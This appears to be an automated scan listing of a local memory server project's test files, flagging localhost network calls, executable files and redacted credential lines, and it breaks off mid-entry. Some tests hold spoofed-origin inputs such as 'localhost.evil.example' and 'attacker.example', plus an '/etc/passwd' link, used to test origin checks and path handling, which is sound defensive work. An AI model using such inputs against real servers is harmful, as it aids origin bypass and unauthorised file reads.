tests/test_server/test_legacy_port_ownership.py
- Executable scriptline 1
Executable file - Network accessline 61
def _free_port() -> int: with socket.socket() as probe: - Network accessline 62
with socket.socket() as probe: - Network accessline 67
def _listening(port: int) -> bool: with socket.socket() as probe: - Network accessline 68
with socket.socket() as probe:
tests/test_server/test_lifecycle_compact.py
- Executable scriptline 1
Executable file
tests/test_server/test_local_apps_detection.py
- Executable scriptline 1
Executable file - Network accessline 18
app = FastAPI() app.include_router(local_apps.router) return TestClient(app, base_url="http://127.0.0.1:19782", client=("127.0.0.1", 51000), - Network accessline 19
[Credential-related source omitted] - Network accessline 20
return TestClient(app, base_url="http://127.0.0.1:19782", client=("127.0.0.1", 51000),
tests/test_server/test_local_apps_routes.py
- Executable scriptline 1
Executable file - Network accessline 21
return TestClient( app, base_url="http://127.0.0.1:19781", - Network accessline 22
app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000), - Network accessline 23
base_url="http://127.0.0.1:19781", - Network accessline 80
def test_remote_caller_cannot_read_presence_or_request_actions(client): other = TestClient(client.app, base_url="http://127.0.0.1:19781", client=("192.0.2.5", 51000)) - Network accessline 81
other = TestClient(client.app, base_url="http://127.0.0.1:19781", client=("192.0.2.5", 51000))
tests/test_server/test_local_host_setup.py
- Executable scriptline 1
Executable file
tests/test_server/test_login_policy_is_not_read_per_request.py
- Executable scriptline 1
Executable file
tests/test_server/test_loopback.py
- Executable scriptline 1
Executable file
tests/test_server/test_loopback_origin_exact.py
- Executable scriptline 1
Executable file - Network accessline 12
[ "", "http://localhost", - Network accessline 13
"", "http://localhost", "http://localhost:8765", - Network accessline 14
"http://localhost", - Network accessline 15
"http://localhost:8765", - Network accessline 16
"https://127.0.0.1:8765", - Network accessline 17
"http://[::1]:8765", - Network accessline 25
"origin", [ "http://localhost.evil.example", - Network accessline 26
[ "http://localhost.evil.example", "http://127.0.0.1.attacker.example", - Network accessline 27
"http://localhost.evil.example", - Network accessline 28
"http://127.0.0.1.attacker.example", - Network accessline 29
"http://localhost@evil.example", - Network accessline 30
"ftp://localhost", "http://localhost:bad", "http://localhost/path", - Network accessline 31
"http://localhost:bad", - Network accessline 32
"http://localhost/path", - Network accessline 33
"http://localhost?redirect=evil", - Network accessline 41
"origin", [ "http://localhost:8765", - Network accessline 42
[ "http://localhost:8765", "http://127.0.0.1:8765", - Network accessline 43
"http://localhost:8765", - Network accessline 44
"http://127.0.0.1:8765", - Network accessline 45
"https://[::1]:8765", - Network accessline 53
"origin", [ "http://localhost:8417", - Network accessline 54
[ "http://localhost:8417", "http://127.0.0.1:8767", - Network accessline 55
"http://localhost:8417", - Network accessline 56
"http://127.0.0.1:8767", - Network accessline 57
"http://localhost",
tests/test_server/test_loopback_write_actor_consistency.py
- Executable scriptline 1
Executable file - Network accessline 35
runtime.start() app.state.canonical_remember_runtime = runtime client = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)) - Network accessline 36
app.state.canonical_remember_runtime = runtime client = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)) try: - Network accessline 37
client = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)) - Network accessline 51
monkeypatch.setattr(write_identity, "_REQUIRE_CREDENTIALS", False) app = ud.create_app() response = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)).post( - Network accessline 52
app = ud.create_app() response = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)).post( "/observe", json={"content": "local note"}, headers={"Origin": "https://attacker.example"} - Network accessline 53
response = TestClient(app, base_url="http://127.0.0.1:19781", client=("127.0.0.1", 51000)).post( - Network accessline 54
"/observe", json={"content": "local note"}, headers={"Origin": "https://attacker.example"}
tests/test_server/test_manual_heal_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_server/test_mcp_profiles_endpoint.py
- Executable scriptline 1
Executable file
tests/test_server/test_memories_project_name_reads_metadata.py
- Executable scriptline 1
Executable file
tests/test_server/test_memories_shows_memory_kind.py
- Executable scriptline 1
Executable file
tests/test_server/test_memory_events_reach_the_stream.py
- Executable scriptline 1
Executable file
tests/test_server/test_memory_kinds_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_memory_scope.py
- Executable scriptline 1
Executable file
tests/test_server/test_mesh_broker_starts_off_the_event_loop.py
- Executable scriptline 1
Executable file
tests/test_server/test_mesh_event_loop_safety.py
- Executable scriptline 1
Executable file
tests/test_server/test_metrics_flush_no_reinit.py
- Executable scriptline 1
Executable file
tests/test_server/test_models_catalog_route.py
- Executable scriptline 1
Executable file - Network accessline 30
(tmp_path / "config.json").write_text(json.dumps({ "llm": {"provider": "ollama", "model": "llama3.2", "base_url": "http://localhost:11434"}, - Network accessline 31
"llm": {"provider": "ollama", "model": "llama3.2", "base_url": "http://localhost:11434"}, }), encoding="utf-8") - Network accessline 32
"base_url": "http://localhost:11434"}, - Network accessline 54
def test_without_ollama_it_still_answers_with_pull_suggestions(client, monkeypatch) -> None: def down(*a, **k): raise httpx.ConnectError("refused") - Network accessline 56
raise httpx.ConnectError("refused")
tests/test_server/test_mutation_gate_policy.py
- Executable scriptline 1
Executable file - Network accessline 337
monkeypatch.setattr(gate_mod, "mutation_gate", _recording) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 338
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 377
app.state.rbac.set_require_login(False) monkeypatch.setattr("subprocess.Popen", lambda *a, **k: None) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 378
monkeypatch.setattr("subprocess.Popen", lambda *a, **k: None) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False) - Network accessline 379
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 399
uid = {u["username"]: u["user_id"] for u in rbac.list_users()}["viewer1"] rbac.set_membership("default", uid, "viewer", added_by="test") client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 400
rbac.set_membership("default", uid, "viewer", added_by="test") client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False) - Network accessline 401
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK,
tests/test_server/test_no_read_route_blocks_the_event_loop.py
- Executable scriptline 1
Executable file
tests/test_server/test_observebuffer_captured_count.py
- Executable scriptline 1
Executable file
tests/test_server/test_observebuffer_logging.py
- Executable scriptline 1
Executable file
tests/test_server/test_open_file_limit.py
- Executable scriptline 1
Executable file
tests/test_server/test_per_request_profile.py
- Executable scriptline 1
Executable file
tests/test_server/test_picking_an_ollama_model_from_the_dashboard.py
- Executable scriptline 1
Executable file - Network accessline 29
"model_name": "nomic-ai/nomic-embed-text-v1.5", "dimension": 768}, "llm": {"provider": "ollama", "model": "llama3.2", "base_url": "http://localhost:11434"}, - Network accessline 30
"llm": {"provider": "ollama", "model": "llama3.2", "base_url": "http://localhost:11434"}, }), encoding="utf-8") - Network accessline 31
"base_url": "http://localhost:11434"}, - Network accessline 66
def test_a_stopped_server_is_reported_not_hidden(client, monkeypatch) -> None: def refuse(*a, **k): raise httpx.ConnectError("refused") - Network accessline 67
def refuse(*a, **k): raise httpx.ConnectError("refused") monkeypatch.setattr(httpx, "get", refuse) - Network accessline 68
raise httpx.ConnectError("refused")
tests/test_server/test_pr253_calibration_cancel_api.py
- Executable scriptline 1
Executable file - Network accessline 71
async def run(): transport = httpx.ASGITransport(app=ProfileRuntimeMiddleware(app, app_state=app.state)) - Network accessline 72
transport = httpx.ASGITransport(app=ProfileRuntimeMiddleware(app, app_state=app.state)) - Network accessline 73
async with httpx.AsyncClient(transport=transport, base_url="http://test") as client:
tests/test_server/test_pr253_ingress_deadline.py
- Executable scriptline 1
Executable file
tests/test_server/test_pr253_timeout_notes.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_delete_moves_everything.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_path_resolution.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_preemption.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_runtime_background_pause.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_runtime_switch.py
- Executable scriptline 1
Executable file
tests/test_server/test_profile_switch_drain_timeout.py
- Executable scriptline 1
Executable file
tests/test_server/test_ratelimit_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_rbac_company_mode_credential.py
tests/test_server/test_rbac_routes.py
- Executable scriptline 1
Executable file - Network accessline 507
response = tc.post( "/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:9"}, - Network accessline 508
"/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:9"}, headers={**h, "X-SLM-User-Session": rbac.create_session(user_id)}, - Network accessline 509
json={"api_endpoint": "http://127.0.0.1:9"}, - Network accessline 518
response = tc.post( "/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:9"}, - Network accessline 519
"/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:9"}, headers={"Origin": "http://localhost:8417"}, - Network accessline 520
json={"api_endpoint": "http://127.0.0.1:9"}, - Network accessline 521
headers={"Origin": "http://localhost:8417"},
tests/test_server/test_rbac_sec_02.py
tests/test_server/test_recall_health_heal_backoff.py
- Executable scriptline 1
Executable file
tests/test_server/test_recall_kind_filter_route.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_recall_remote_view.py
- Executable scriptline 1
Executable file
tests/test_server/test_recall_retained_admission.py
- Executable scriptline 1
Executable file
tests/test_server/test_recall_serializer_kind_fields.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_recall_trace_rbac_and_block.py
tests/test_server/test_recovery_is_installation_wide.py
- Executable scriptline 1
Executable file - Network accessline 76
point = backup_bundle.create_point(root) _, alice = _company(app.state.rbac, ["default"]) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK) - Network accessline 77
_, alice = _company(app.state.rbac, ["default"]) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK) headers = {"X-SLM-User-Session": alice} - Network accessline 78
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK) - Network accessline 102
point = backup_bundle.create_point(root) _, alice = _company(app.state.rbac, ["default", "teamb"]) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK) - Network accessline 103
_, alice = _company(app.state.rbac, ["default", "teamb"]) client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK) response = client.post( - Network accessline 104
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK)
tests/test_server/test_reindex_queued_reason.py
- Executable scriptline 1
Executable file
tests/test_server/test_reindex_save_messages.py
- Executable scriptline 1
Executable file - Network accessline 32
(tmp_path / "config.json").write_text(json.dumps({ "mode": "a", "embedding": {"provider": "openai", "api_endpoint": "http://127.0.0.1:9/v1", - Network accessline 33
[Credential-related source omitted] - Network accessline 34
"embedding": {"provider": "openai", "api_endpoint": "http://127.0.0.1:9/v1", - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Network accessline 102
code, payload = _call(set_full_config, { "mode": "a", "embedding_provider": "openai", "embedding_endpoint": "http://127.0.0.1:9/v1", - Network accessline 103
"mode": "a", "embedding_provider": "openai", "embedding_endpoint": "http://127.0.0.1:9/v1", "embedding_model": "new-model", "embedding_dimension": 384}) - Network accessline 104
"embedding_endpoint": "http://127.0.0.1:9/v1", - Network accessline 142
new = SLMConfig.load() new.mode = Mode.B new.embedding = EmbeddingConfig(provider="openai", api_endpoint="http://127.0.0.1:9/v1", - Network accessline 143
new.mode = Mode.B new.embedding = EmbeddingConfig(provider="openai", api_endpoint="http://127.0.0.1:9/v1", model_name="new-model", dimension=384) - Network accessline 144
new.embedding = EmbeddingConfig(provider="openai", api_endpoint="http://127.0.0.1:9/v1",
tests/test_server/test_related_reaches_people_not_agents.py
- Executable scriptline 1
Executable file
tests/test_server/test_remember_ceiling_counts_from_the_request.py
- Executable scriptline 1
Executable file
tests/test_server/test_remember_replaces_route.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_remember_speaker_265.py
- Executable scriptline 1
Executable file
tests/test_server/test_remember_with_a_kind.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_replaced_memory_enrichment.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_require_credentials_h01.py
- Executable scriptline 1
Executable file
tests/test_server/test_rollback_message_is_true.py
- Executable scriptline 1
Executable file
tests/test_server/test_route_event_loop_contract.py
- Executable scriptline 1
Executable file
tests/test_server/test_route_mutation_policy.py
- Executable scriptline 1
Executable file
tests/test_server/test_routed_mutations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_routed_mutations_access.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_runtime_config_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_runtime_control_plane_security.py
- Executable scriptline 1
Executable file
tests/test_server/test_search_carries_media.py
- Executable scriptline 1
Executable file
tests/test_server/test_search_fallback_shows_memory_kind.py
- Executable scriptline 1
Executable file
tests/test_server/test_search_fast_param_and_profile_isolation.py
- Executable scriptline 1
Executable file - Network accessline 181
"""v3.8.3: if semantic recall exceeds SLM_SEARCH_RECALL_TIMEOUT_S, the dashboard search route must fall back to the fast keyword search instead of hanging until the browser aborts the fetch ("signal is aborted without - Network accessline 182
dashboard search route must fall back to the fast keyword search instead of hanging until the browser aborts the fetch ("signal is aborted without reason"). This is the fix for the live Mode-B recall hang: under a - Network accessline 183
of hanging until the browser aborts the fetch ("signal is aborted without
tests/test_server/test_search_kind_filter.py
- Executable scriptline 1
Executable file
tests/test_server/test_sec_h02_error_leakage.py
- Executable scriptline 1
Executable file
tests/test_server/test_security_h10_14.py
- Executable scriptline 1
Executable file
tests/test_server/test_session_open_is_not_a_question.py
- Executable scriptline 1
Executable file
tests/test_server/test_show_weak_reaches_recall.py
- Executable scriptline 1
Executable file
tests/test_server/test_source_quality_startup_repair.py
- Executable scriptline 1
Executable file
tests/test_server/test_spreading_activation_warmup.py
- Executable scriptline 1
Executable file
tests/test_server/test_status_in_company_mode.py
tests/test_server/test_stop_not_rate_limited.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 50
return TestClient( app, client=_LOOPBACK_PEER, base_url="http://127.0.0.1:8765", - Network accessline 51
app, client=_LOOPBACK_PEER, base_url="http://127.0.0.1:8765", raise_server_exceptions=False, - Network accessline 52
base_url="http://127.0.0.1:8765",
tests/test_server/test_store_check_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_streaming_lease_release.py
- Executable scriptline 1
Executable file
tests/test_server/test_strict_mode_install_token.py
tests/test_server/test_summaries_are_shown_without_pretending.py
- Executable scriptline 1
Executable file
tests/test_server/test_the_daemon_start_sends_nothing_for_checking.py
- Executable scriptline 1
Executable file - Network accessline 40
def __init__(self) -> None: self.bodies: list[dict] = [] self.transport = httpx.MockTransport(self._handle) - Network accessline 42
self.transport = httpx.MockTransport(self._handle) - Network accessline 46
self.bodies.append(body) answers = {k: {"type": "noul", "noul": 0.9} for k in body["state"]["memories"]} return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 48
return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}})
tests/test_server/test_the_dashboard_says_which_backend_is_really_running.py
- Executable scriptline 1
Executable file
tests/test_server/test_the_recall_in_flight_count_is_exact.py
- Executable scriptline 1
Executable file
tests/test_server/test_the_vector_backfill_reads_ids_not_every_fact.py
- Executable scriptline 1
Executable file
tests/test_server/test_transition_waits_for_background_units.py
- Executable scriptline 1
Executable file
tests/test_server/test_ui_cold_start_contract.py
- Executable scriptline 1
Executable file
tests/test_server/test_upgrade_banner_is_true.py
- Executable scriptline 1
Executable file
tests/test_server/test_upgrade_restore_public.py
- Executable scriptline 1
Executable file
tests/test_server/test_upgrade_restore_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_upgrade_startup_order.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_upload_housekeeping.py
- Executable scriptline 1
Executable file
tests/test_server/test_v4_deployment_and_ui_truth.py
- Executable scriptline 1
Executable file
tests/test_server/test_view_cache.py
- Executable scriptline 1
Executable file
tests/test_server/test_w8_disk_abort_not_a_crash.py
- Executable scriptline 1
Executable file
tests/test_server/test_w8_migration_notifications.py
- Executable scriptline 1
Executable file
tests/test_server/test_warmup_claims_only_real_vectors.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_warmup_error.py
- Executable scriptline 1
Executable file
tests/test_server/test_wp19_memory_health_api.py
- Executable scriptline 1
Executable file
tests/test_server/test_wp19_stub_listing.py
- Executable scriptline 1
Executable file
tests/test_server/test_wp6_answer_check_status.py
- Executable scriptline 1
Executable file
tests/test_server/test_wp6_recall_deadline.py
- Executable scriptline 1
Executable file
tests/test_server/test_write_auth_apikey_regression.py
- Executable scriptline 1
Executable file - Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted]
tests/test_server/test_write_identity.py
tests/test_server/test_write_rejection_names_the_right_header.py
tests/test_shard_plugin.py
tests/test_skills/__init__.py
- Executable scriptline 1
Executable file
tests/test_skills/test_slm_optimize_skill.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_sources/__init__.py
- Executable scriptline 1
Executable file
tests/test_sources/conftest.py
- Executable scriptline 1
Executable file
tests/test_sources/test_api.py
- Executable scriptline 1
Executable file
tests/test_sources/test_audit2_ownership.py
- Executable scriptline 1
Executable file
tests/test_sources/test_background_pause.py
- Executable scriptline 1
Executable file
tests/test_sources/test_bytes_not_paths.py
- Executable scriptline 1
Executable file
tests/test_sources/test_copy_promotion.py
- Executable scriptline 1
Executable file
tests/test_sources/test_dead_borrows.py
- Executable scriptline 1
Executable file
tests/test_sources/test_default_scope.py
- Executable scriptline 1
Executable file
tests/test_sources/test_detect_secrets.py
- Executable scriptline 1
Executable file - Access to secretsline 68
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 86
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 92
[Credential-related source omitted]
tests/test_sources/test_fable_fb.py
- Executable scriptline 1
Executable file
tests/test_sources/test_features_switch.py
- Executable scriptline 1
Executable file
tests/test_sources/test_forget_empty.py
- Executable scriptline 1
Executable file
tests/test_sources/test_gates_real_roles.py
- Executable scriptline 1
Executable file
tests/test_sources/test_ignore.py
tests/test_sources/test_late_facts.py
- Executable scriptline 1
Executable file
tests/test_sources/test_lock_waits.py
- Executable scriptline 1
Executable file
tests/test_sources/test_mount_guard.py
tests/test_sources/test_obsidian_frontmatter.py
- Executable scriptline 1
Executable file
tests/test_sources/test_obsidian_links.py
- Executable scriptline 1
Executable file - Network accessline 16
def test_link_table(): body = ("[[Plain]] [[Target|the label]] [[Page#Heading]] [[Page#^abc123]] ![[pic.png]] ![[Sized.png|300]]\n" "[md](notes/other.md) [enc](my%20note.md#part) [web](https://example.com/x) [abs](/etc/passw - Network accessline 17
body = ("[[Plain]] [[Target|the label]] [[Page#Heading]] [[Page#^abc123]] ![[pic.png]] ![[Sized.png|300]]\n" "[md](notes/other.md) [enc](my%20note.md#part) [web](https://example.com/x) [abs](/etc/passwd) " "[out](../ - Network accessline 18
"[md](notes/other.md) [enc](my%20note.md#part) [web](https://example.com/x) [abs](/etc/passwd) "
tests/test_sources/test_obsidian_scan.py
- Executable scriptline 1
Executable file
tests/test_sources/test_paused_idle.py
- Executable scriptline 1
Executable file
tests/test_sources/test_paused_resume.py
- Executable scriptline 1
Executable file
tests/test_sources/test_pdf_images.py
- Executable scriptline 1
Executable file
tests/test_sources/test_picker_gates_real_roles.py
- Executable scriptline 1
Executable file
tests/test_sources/test_picker_routes.py
tests/test_sources/test_purge_with_backup_obligations.py
- Executable scriptline 1
Executable file
tests/test_sources/test_reads_real_roles.py
- Executable scriptline 1
Executable file
tests/test_sources/test_real_picture.py
- Executable scriptline 1
Executable file
tests/test_sources/test_remote_state.py
- Executable scriptline 1
Executable file
tests/test_sources/test_remount.py
- Executable scriptline 1
Executable file
tests/test_sources/test_remove_during_scan.py
- Executable scriptline 1
Executable file
tests/test_sources/test_root_and_links.py
- Executable scriptline 1
Executable file
tests/test_sources/test_roots.py
tests/test_sources/test_routes.py
- Executable scriptline 1
Executable file
tests/test_sources/test_safe_read.py
- Executable scriptline 1
Executable file
tests/test_sources/test_save_counter.py
- Executable scriptline 1
Executable file
tests/test_sources/test_scan_safety.py
tests/test_sources/test_scan_text.py
- Executable scriptline 1
Executable file
tests/test_sources/test_schema_upgrade.py
- Executable scriptline 1
Executable file
tests/test_sources/test_service.py
- Executable scriptline 1
Executable file
tests/test_sources/test_shared_ownership.py
- Executable scriptline 1
Executable file
tests/test_sources/test_targeted_scan.py
- Executable scriptline 1
Executable file
tests/test_sources/test_user_save_vs_folder.py
- Executable scriptline 1
Executable file
tests/test_sources/test_visibility_sources.py
- Executable scriptline 1
Executable file
tests/test_sources/test_walk_lstat.py
- Executable scriptline 1
Executable file
tests/test_sources/test_watcher.py
- Executable scriptline 1
Executable file
tests/test_sources/test_windows_reads.py
- Executable scriptline 1
Executable file
tests/test_sources/test_wiring.py
- Executable scriptline 1
Executable file
tests/test_stability_hardening_384.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Hardening tests for the 3.8.4 stability release. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted]
tests/test_storage/__init__.py
- Executable scriptline 1
Executable file
tests/test_storage/_upgrade_store.py
- Executable scriptline 1
Executable file
tests/test_storage/_write_lock_probe.py
tests/test_storage/test_384_stability.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_384_write_lock_hardening.py
tests/test_storage/test_386_canonical_write_boundary.py
- Executable scriptline 1
Executable file
tests/test_storage/test_386_write_coordinator_contention.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_cap_counts_one_workspace_at_a_time.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_failed_check_says_which_and_whether_it_matters.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_a_failed_connection_setup_closes_the_file.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_finished_repair_never_moves_memories.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_save_does_not_scan_the_store_under_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_step_that_keeps_failing_says_so.py
- Executable scriptline 1
Executable file
tests/test_storage/test_a_store_older_than_its_indexes_still_opens.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_a_version_marker_is_one_row.py
- Executable scriptline 1
Executable file
tests/test_storage/test_access_log.py
- Executable scriptline 1
Executable file
tests/test_storage/test_agent_experience_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_an_update_copies_only_what_it_changes.py
- Executable scriptline 1
Executable file
tests/test_storage/test_archive_read_paths.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Archived facts must not be retrievable through any direct read path. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_authorising_an_id_does_not_need_its_content.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_backfill_embeddings_script.py
- Executable scriptline 1
Executable file
tests/test_storage/test_backfill_missing_embeddings.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_backup.py
- Executable scriptline 1
Executable file
tests/test_storage/test_backup_flush_portability.py
- Executable scriptline 1
Executable file
tests/test_storage/test_boot_time_restore.py
- Executable scriptline 1
Executable file
tests/test_storage/test_concurrency_soak.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
